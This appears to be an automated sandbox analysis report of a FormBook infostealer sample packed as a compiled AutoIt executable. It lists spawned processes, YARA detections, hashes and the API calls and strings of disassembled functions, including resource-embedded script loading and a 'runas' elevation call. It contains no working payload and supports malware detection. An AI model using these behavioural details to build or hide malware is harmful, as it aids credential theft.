Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1886277798.0000000002600000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1887212251.0000000004E10000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1886979901.0000000003390000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:10:28
Start date:	10/01/2025
Path:	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe"
Imagebase:	0x410000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2613432274.0000000002B50000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:10:29
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\powercfg.exe"
Imagebase:	0x730000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2613375030.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2613433985.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2610818121.0000000002A60000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:10:43
Start date:	10/01/2025
Path:	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe"
Imagebase:	0x410000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2615837301.0000000005650000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:10:55
Start date:	10/01/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	3.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	170

Executed Functions

Function 00653B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00653B68
IsDebuggerPresent.KERNEL32 ref: 00653B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,007152F8,007152E0,?,?), ref: 00653BEB

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Part of subcall function 0066092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00653C14,007152F8,?,?,?), ref: 0066096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00653C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00707770,00000010), ref: 0068D281
SetCurrentDirectoryW.KERNEL32(?,007152F8,?,?,?), ref: 0068D2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00704260,007152F8,?,?,?), ref: 0068D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 0068D346

Part of subcall function 00653A46: GetSysColorBrush.USER32(0000000F), ref: 00653A50
Part of subcall function 00653A46: LoadCursorW.USER32(00000000,00007F00), ref: 00653A5F
Part of subcall function 00653A46: LoadIconW.USER32(00000063), ref: 00653A76
Part of subcall function 00653A46: LoadIconW.USER32(000000A4), ref: 00653A88
Part of subcall function 00653A46: LoadIconW.USER32(000000A2), ref: 00653A9A
Part of subcall function 00653A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00653AC0
Part of subcall function 00653A46: RegisterClassExW.USER32(?), ref: 00653B16

Part of subcall function 006539D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00653A03
Part of subcall function 006539D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00653A24
Part of subcall function 006539D5: ShowWindow.USER32(00000000,?,?), ref: 00653A38
Part of subcall function 006539D5: ShowWindow.USER32(00000000,?,?), ref: 00653A41

Part of subcall function 0065434A: _memset.LIBCMT ref: 00654370
Part of subcall function 0065434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00654415

Strings

This is a third-party compiled AutoIt script., xrefs: 0068D279
runas, xrefs: 0068D33A
%n, xrefs: 00653C44

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%n
API String ID: 529118366-38505642
Opcode ID: 5251bfd97691c1fd634e1c853a78bb535a2d70dd612bbd2669b017dcec207d69
Instruction ID: 1c54c66eab212c2e9c525f8f901dc6695697700d22de98654dbebaef41105c00
Opcode Fuzzy Hash: 5251bfd97691c1fd634e1c853a78bb535a2d70dd612bbd2669b017dcec207d69
Instruction Fuzzy Hash: 5D5107B1D04108EECF05EBB8EC159ED777BBF85741F008169F851B22E1DA78564ACB29

Function 006549A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 006549CD

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

GetCurrentProcess.KERNEL32(?,006DFAEC,00000000,00000000,?), ref: 00654A9A
IsWow64Process.KERNEL32(00000000), ref: 00654AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00654AE7
FreeLibrary.KERNEL32(00000000), ref: 00654AF2
GetSystemInfo.KERNEL32(00000000), ref: 00654B23
GetSystemInfo.KERNEL32(00000000), ref: 00654B2F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 6be04704ecf5f40ab166dbff4d08af5da2a8e53fc45438de2bdfff11510b44f2
Instruction ID: c63488a068075acd27426e6a1f30e43d48bf06ffdad0c4a068a655039765fc58
Opcode Fuzzy Hash: 6be04704ecf5f40ab166dbff4d08af5da2a8e53fc45438de2bdfff11510b44f2
Instruction Fuzzy Hash: 6891053198A7C0DEC731DB6894501EABFF6AF29305F084AAED4C783B41D621A54CC76D

Function 00654E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00654D8E,?,?,00000000,00000000), ref: 00654E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00654D8E,?,?,00000000,00000000), ref: 00654EB0
LoadResource.KERNEL32(?,00000000,?,?,00654D8E,?,?,00000000,00000000,?,?,?,?,?,?,00654E2F), ref: 0068D937
SizeofResource.KERNEL32(?,00000000,?,?,00654D8E,?,?,00000000,00000000,?,?,?,?,?,?,00654E2F), ref: 0068D94C
LockResource.KERNEL32(00654D8E,?,?,00654D8E,?,?,00000000,00000000,?,?,?,?,?,?,00654E2F,00000000), ref: 0068D95F

Strings

SCRIPT, xrefs: 00654EA6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: fe998011a95195aff538fe1d49f4742d611e8f16d2ed4843ff54f53d7deae75c
Instruction ID: a384429b38f4ae8e537f101f661476eede8ce4cb5a84f6d4f0b1826a5c8b4449
Opcode Fuzzy Hash: fe998011a95195aff538fe1d49f4742d611e8f16d2ed4843ff54f53d7deae75c
Instruction Fuzzy Hash: D0119A70600300BFD7218BA5EC49F677BBBFBC5B12F2482ADF80686250DB61E8448A60

Function 0065E6A0 Relevance: 6.1, Strings: 4, Instructions: 1102COMMON

Download Yara Rule

Strings

+, xrefs: 00693AF5, 00693B2E, 00693DAA
Ddq, xrefs: 0065EABA
Variable must be of type 'Object'., xrefs: 00693E62
Ddq, xrefs: 0065EAC1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: Ddq$Ddq$Variable must be of type 'Object'.$+
API String ID: 0-143587551
Opcode ID: f5e0c83e474cb994701755d3f6f48b878e2d59e9e1e7ac0b06e0d2d59e1e7566
Instruction ID: a8091fe9e6a2efc8b3dafcbb96e3a13539bc349749cbba872b37e3acf37fbcd0
Opcode Fuzzy Hash: f5e0c83e474cb994701755d3f6f48b878e2d59e9e1e7ac0b06e0d2d59e1e7566
Instruction Fuzzy Hash: 62A26A75A00215CBCF28CF58C480AAAB7B7FF59311F248169EC159B351D736EE8ACB94

Function 006B445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0068E398), ref: 006B446A
FindFirstFileW.KERNELBASE(?,?), ref: 006B447B
FindClose.KERNEL32(00000000), ref: 006B448B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 277565d88dfd0814a71abe8eaf93aa1e906f2770a06722244192ecf353f5d732
Instruction ID: 778b04db3f8a4475c8d8069b2712e4059b56eb1f27b440b1b0689d5e30d4814f
Opcode Fuzzy Hash: 277565d88dfd0814a71abe8eaf93aa1e906f2770a06722244192ecf353f5d732
Instruction Fuzzy Hash: B4E0DF728119006B8310AB78EC0D8EA779EDE05335F200726F836C21E1EBB49E9096D6

Function 006609D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00660A5B
timeGetTime.WINMM ref: 00660D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00660E53
Sleep.KERNEL32(0000000A), ref: 00660E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00660EFA
DestroyWindow.USER32 ref: 00660F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00660F20
Sleep.KERNEL32(0000000A,?,?), ref: 00694E83
TranslateMessage.USER32(?), ref: 00695C60
DispatchMessageW.USER32(?), ref: 00695C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00695C82

Strings

pbq, xrefs: 006957B4
pbq, xrefs: 00695003
@GUI_CTRLID, xrefs: 00694F3A
@TRAY_ID, xrefs: 0069578F
pbq, xrefs: 00694F59
pbq, xrefs: 00694FAE
@COM_EVENTOBJ, xrefs: 006954F0
@GUI_CTRLHANDLE, xrefs: 00694FE4
@GUI_WINHANDLE, xrefs: 00694F8F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pbq$pbq$pbq$pbq
API String ID: 4212290369-3732479470
Opcode ID: 8ecb5cb783ca89f882e3ff45dbae347ff09ec5c0317ce4ec4176cec58bf99c36
Instruction ID: 1d72c8bb6e80d511bbebbdcb6e14137692fe76ba78049843ec00aaf9971011f7
Opcode Fuzzy Hash: 8ecb5cb783ca89f882e3ff45dbae347ff09ec5c0317ce4ec4176cec58bf99c36
Instruction Fuzzy Hash: 3FB2F370608741DFDB25DF24C884BAAB7E6BF84304F14892DF84A973A1CB75E845CB86

Function 006B9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006B8F5F: __time64.LIBCMT ref: 006B8F69

Part of subcall function 00654EE5: _fseek.LIBCMT ref: 00654EFD

__wsplitpath.LIBCMT ref: 006B9234

Part of subcall function 006740FB: __wsplitpath_helper.LIBCMT ref: 0067413B

_wcscpy.LIBCMT ref: 006B9247
_wcscat.LIBCMT ref: 006B925A
__wsplitpath.LIBCMT ref: 006B927F
_wcscat.LIBCMT ref: 006B9295
_wcscat.LIBCMT ref: 006B92A8

Part of subcall function 006B8FA5: _memmove.LIBCMT ref: 006B8FDE
Part of subcall function 006B8FA5: _memmove.LIBCMT ref: 006B8FED

_wcscmp.LIBCMT ref: 006B91EF

Part of subcall function 006B9734: _wcscmp.LIBCMT ref: 006B9824
Part of subcall function 006B9734: _wcscmp.LIBCMT ref: 006B9837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 006B9452
_wcsncpy.LIBCMT ref: 006B94C5
DeleteFileW.KERNEL32(?,?), ref: 006B94FB
CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 006B9511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 006B9522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 006B9534

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 388fb0402990cf2e2024438c528174f2dca8b0e1d00e983a94bea1b7c649cadc
Instruction ID: fdcfd82ac062b9382b5bc524a6b16095d5f657cd30aa6d96d959b9414992ef60
Opcode Fuzzy Hash: 388fb0402990cf2e2024438c528174f2dca8b0e1d00e983a94bea1b7c649cadc
Instruction Fuzzy Hash: 9BC11EB1D00219ABDF61DFA5CC85ADEB7BEEF45310F0040AAF609E7151DB309A858F65

Function 0065708B Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00654706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007152F8,?,006537AE,?), ref: 00654724

Part of subcall function 0067050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00657165), ref: 0067052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 006571A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0068E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0068E909
RegCloseKey.ADVAPI32(?), ref: 0068E947
_wcscat.LIBCMT ref: 0068E9A0

Strings

\, xrefs: 0068E9C3
xV, xrefs: 006570DB
Include, xrefs: 0068E8BF, 0068E900
\Include\, xrefs: 00657165
Software\AutoIt v3\AutoIt, xrefs: 0065719E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\$xV
API String ID: 2673923337-3671864596
Opcode ID: cf018354d5c14a80a66f805d74abad8cf428fdcb649a9e40d6c96dc79e6f8282
Instruction ID: cf3d5010faef7692e54ba61fc3903142e629b2d97e9ca355a24e0646fa073f00
Opcode Fuzzy Hash: cf018354d5c14a80a66f805d74abad8cf428fdcb649a9e40d6c96dc79e6f8282
Instruction Fuzzy Hash: B471A0715093019EC750EF29EC519ABBBEAFF88350F40852EF845872A0EB759948CB5A

Function 00653015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00653074
RegisterClassExW.USER32(00000030), ref: 0065309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006530AF
InitCommonControlsEx.COMCTL32(?), ref: 006530CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006530DC
LoadIconW.USER32(000000A9), ref: 006530F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00653101

Strings

+, xrefs: 0065305D
TaskbarCreated, xrefs: 006530A4
0, xrefs: 00653056
AutoIt v3 GUI, xrefs: 00653090

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 806bf60b209d6a7177a9ddd2ecf56247f6c0a5bbbd074ecaea885aa633ad2ec2
Instruction ID: 8f2401f3d4325b2437c808e361262b2b05b4fd68c67b76385d3e727d8a402b34
Opcode Fuzzy Hash: 806bf60b209d6a7177a9ddd2ecf56247f6c0a5bbbd074ecaea885aa633ad2ec2
Instruction Fuzzy Hash: 8D3118B1D41349EFDB10CFA8EC88ADDBBF1FB09310F14812AE581A62A0D3B90645CF55

Function 00653041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00653074
RegisterClassExW.USER32(00000030), ref: 0065309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006530AF
InitCommonControlsEx.COMCTL32(?), ref: 006530CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006530DC
LoadIconW.USER32(000000A9), ref: 006530F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00653101

Strings

+, xrefs: 0065305D
TaskbarCreated, xrefs: 006530A4
0, xrefs: 00653056
AutoIt v3 GUI, xrefs: 00653090

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: c2267421b1c30a950ac9b7b802edcdc0458d6a0faf5b0f3f5e426292d401a308
Instruction ID: 2abf4240cd9e39dfd47b20539f0ec8eab49fa8df3063b8f58182bb5a845dbc53
Opcode Fuzzy Hash: c2267421b1c30a950ac9b7b802edcdc0458d6a0faf5b0f3f5e426292d401a308
Instruction Fuzzy Hash: D721C4B1D11218EFDB00DFA8EC89BDDBBF5FB08700F04912AF911AA2A0D7B546448F95

Function 00653633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 006536D2
KillTimer.USER32(?,00000001), ref: 006536FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0065371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0065372A
CreatePopupMenu.USER32 ref: 0065373E
PostQuitMessage.USER32(00000000), ref: 0065374D

Strings

TaskbarCreated, xrefs: 00653725
%n, xrefs: 0068D081, 0068D0CF

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%n
API String ID: 129472671-3795218793
Opcode ID: fe0556bd3766f26b5ff8819a42797901981db4e511c79cdf3e6aee0e039d3144
Instruction ID: 694b9140d0aa953dd334442b5c5ae6e31568cff1b4b08a161abf037290c905c1
Opcode Fuzzy Hash: fe0556bd3766f26b5ff8819a42797901981db4e511c79cdf3e6aee0e039d3144
Instruction Fuzzy Hash: 0D4159B2600515FBCB186F28EC19BF93797EB44782F14412DFD02863E1CA759E4A9329

Function 00653A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00653A50
LoadCursorW.USER32(00000000,00007F00), ref: 00653A5F
LoadIconW.USER32(00000063), ref: 00653A76
LoadIconW.USER32(000000A4), ref: 00653A88
LoadIconW.USER32(000000A2), ref: 00653A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00653AC0
RegisterClassExW.USER32(?), ref: 00653B16

Part of subcall function 00653041: GetSysColorBrush.USER32(0000000F), ref: 00653074
